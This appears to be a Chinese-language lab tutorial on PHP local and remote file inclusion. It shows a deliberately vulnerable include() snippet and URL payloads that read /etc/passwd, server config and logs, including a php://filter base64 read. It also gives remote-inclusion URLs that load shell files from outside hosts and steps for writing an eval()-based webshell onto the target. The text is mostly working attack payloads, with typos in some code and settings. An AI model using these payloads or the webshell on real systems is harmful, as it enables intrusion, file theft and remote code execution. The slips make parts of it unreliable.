介绍
文件包含漏洞通常由于未充分验证和过滤用户输入而引起。被攻击者通过php代码中include 、include_once 、require 、require_once函数,引入用户输入的指定文件,攻击者可以通过操纵文件包含机制,将恶意文件的内容包含到应用程序的执行环境中。
一本地文件包含
1靶机源代码
//定义get请求变量
$filename = $_GET['filename'];
//使用include
include $filename; //或include_once,requrie, requrie_once
echo "1111"
2利用条件
php.ini 中 allow_url_fopen=On (默认开启)
用户参数可控且后台diamagnetic没有对包含的文件进行过滤
3利用方式(payload)
1.http://192.168.106.137/security/fileinc.php?filename=/etc/password
原理
-
用户请求URL:
http://127.0.0.1/security/fileinc.php?filename=/etc/password
-
服务器接收请求并解析URL,提取出参数
filename
的值为/etc/password
。 -
服务器使用用户提供的参数值
/etc/password
构建文件路径。 -
服务器执行文件包含操作,尝试包含指定的文件
/etc/password
。 -
如果应用程序未对用户提供的参数进行充分验证和过滤,攻击者可以通过在
filename
参数中传递任意文件路径来包含任意文件,如/etc/password
。 -
攻击者成功包含了
/etc/password
文件,服务器读取该文件的内容并将其返回给攻击者或在应用程序中进行处理。
2.http://127.0.0.1/security/fileinc.php?filename=/opt/lampp/etc/httpd.conf
原理同1
3.http://127.0.0.1/security/fileinc.php?filename=login.html
原理同1
4.http://127.0.0.1/security/fileinc.php?filename=/opt/lampp/logs/access_log
原理同1
5.http://127.0.0.1/security/fileinc.php?filename=../../../../etc/passwd
原理同1,使用相对路径
原理
-
用户请求URL:
http://127.0.0.1/security/fileinc.php?filename=php://filter/read/convert.base64-encode/resource=common.php
-
服务器接收请求并解析URL,提取出参数
filename
的值为php://filter/read/convert.base64-encode/resource=common.php
。 -
服务器使用用户提供的参数值
php://filter/read/convert.base64-encode/resource=common.php
构建文件路径。 -
服务器执行文件包含操作,尝试包含指定的文件
php://filter/read/convert.base64-encode/resource=common.php
。 -
在该示例中,使用了
php://filter
协议来读取文件,并应用了convert.base64-encode
过滤器将文件内容转换为Base64编码。 -
这样,服务器读取
common.php
文件的内容,并对其进行Base64编码,然后将编码后的内容返回给客户端。
该实例利用了 PHP 的 php://filter
协议和 convert.base64-encode
过滤器,将文件内容以Base64编码的形式返回。通过这种方式,可以绕过直接读取文件内容的限制,而是读取经过编码的文件内容。
二远程文件包含
1利用条件
php.ini中allow_url_fopen=On(默认开启)和allow_url_include=Off (默认关闭)要开启
用户参数可控且后台代码没有对包含的文件进行过滤
2利用方式(payload)
1.http://127.0.0.1/security/fileinc.php?filename=http://www.xxxxx.com/muma.php
原理:
-
用户请求URL:
http://127.0.0.1/security/fileinc.php?filename=http://www.xxxxx.com/muma.php
-
服务器接收请求并解析URL,提取出参数
filename
的值为http://www.xxxxx.com/muma.php
。 -
服务器使用用户提供的参数值
http://www.xxxxx.com/muma.php
构建文件路径。 -
服务器执行文件包含操作,尝试包含指定的文件
http://www.xxxxx.com/muma.php
。 -
如果应用程序未对用户提供的参数进行充分验证和过滤,攻击者可以构造恶意的远程URL来包含任意文件。
-
在该示例中,攻击者试图包含位于
http://www.xxxxx.com/muma.php
的远程文件。
2.http://127.0.0.1/security/fileinc.php?filename=http://192.168.110.120/learn/shell.php
原理同1
3.http://127.0.0.1/security/fileinc.php?filename=http://192.168.110.120/learn/shell.php?code=phpinfo();
-
用户请求URL:
http://127.0.0.1/security/fileinc.php?filename=http://192.168.110.120/learn/shell.php?code=phpinfo();
-
服务器接收请求并解析URL,提取出参数
filename
的值为http://192.168.110.120/learn/shell.php?code=phpinfo();
。 -
服务器使用用户提供的参数值
http://192.168.110.120/learn/shell.php?code=phpinfo();
构建文件路径。 -
服务器执行文件包含操作,尝试包含指定的文件
http://192.168.110.120/learn/shell.php?code=phpinfo();
。 -
在该示例中,攻击者试图包含位于
http://192.168.110.120/learn/shell.php?code=phpinfo();
的远程文件。 -
攻击者在参数中附加了额外的代码
?code=phpinfo();
,意图执行phpinfo()
函数。
三利用包含文件写木马
//在任意服务器上写入一段木马程序
file_put_contents("temp.muma.php",'<?php @eval($_GET["code"]); ?>');
//eval 函数用于执行传递给它的字符串作为 PHP 代码。在这种情况下,eval 函数会尝试执行 GET 请求中名为 code 的参数所包含的 PHP 代码。
file_put_contents("temp.muma.txt",'<?php @eval($_GET["code"]); ?>');
示例:
http://127.0.0.1/security/fileinc.php?filename=http://192.168.110.120/learn/shell.txt
注意:远程包含所包含的文件名必须是不可执行的,比如.txt,如果是.php文件则会直接在本地执行
但是由于系统会直接吧=后面的整体当成一个参数,使用?连接参数是无法执行的,需要使用&符号进行连接连接
例:http://127.0.0.1/security/fileinc.php?filename=http://192.168.110.120/learn/shell.txt&code=phpinfo();
接下来编辑shell.php
<?php
file_put_contents("temp/muma.php",'<?php @eval($_GET["code"]); ?>');
//使用file_put_contents函数将<?php @eval($_GET["code"]); ?>写入到目标服务器的temp/muma2.php文件中去
?>
此时已经将muma.php写入目标服务器,再利用即可
http://127.0.0.1/security/fileinc.php?filename=temo/muma.txt&code=phpinfo();
或者使用POST请求写木马
file_put_contentts("temp/muma.txt",'<?php @eval($_GET["code"]); ?>');
在发送POST请求:参数为code=phpinfo();